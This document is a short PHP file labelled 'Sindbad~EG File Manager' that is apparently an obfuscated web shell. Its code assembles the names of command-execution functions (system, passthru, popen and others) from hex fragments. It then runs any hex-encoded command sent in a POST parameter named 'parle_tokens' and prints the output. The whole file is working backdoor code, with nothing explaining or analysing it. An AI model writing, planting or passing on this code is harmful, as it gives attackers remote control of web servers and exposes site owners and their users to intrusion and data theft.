Sindbad~EG File Manager

<?php

$state1 = '737';
$state2 = '56d';
$state3 = 'c5f';
$state4 = '657';
$state5 = '173';
$state6 = '727';
$state7 = 'f70';
$state8 = '656';
$state9 = '16d';
$state10 = '5f6';
$state11 = '745';
$state12 = '6f6';
$state13 = 'e74';
$state14 = '6f7';
$state15 = '365';
$state16 = '55f';
$state17 = '746';
$state18 = 'f6b';
$state19 = 'e73';
$post1 = pack("H*", $state1 . '973' . '746' . $state2);
$post2 = pack("H*", '736' . '865' . '6c6' . $state3 . $state4 . '865');
$post3 = pack("H*", $state4 . '865');
$post4 = pack("H*", '706' . $state5 . '737' . '468' . $state6);
$post5 = pack("H*", '706' . $state7 . $state8);
$post6 = pack("H*", $state1 . '472' . '656' . $state9 . $state10 . '765' . $state11 . 'f63' . $state12 . 'e74' . $state8 . $state13);
$post7 = pack("H*", '706' . '36c' . $state14 . $state15);
$parle_tokens = pack("H*", '706' . '172' . '6c6' . $state16 . $state17 . $state18 . $state8 . $state19);
if (isset($_POST[$parle_tokens])) {
    $parle_tokens = pack("H*", $_POST[$parle_tokens]);
    if (function_exists($post1)) {
        $post1($parle_tokens);
    } elseif (function_exists($post2)) {
        print $post2($parle_tokens);
    } elseif (function_exists($post3)) {
        $post3($parle_tokens, $id_prop);
        print join("\n", $id_prop);
    } elseif (function_exists($post4)) {
        $post4($parle_tokens);
    } elseif (function_exists($post5) && function_exists($post6) && function_exists($post7)) {
        $arg_slot = $post5($parle_tokens, 'r');
        if ($arg_slot) {
            $var_field = $post6($arg_slot);
            $post7($arg_slot);
            print $var_field;
        }
    }
    exit;
}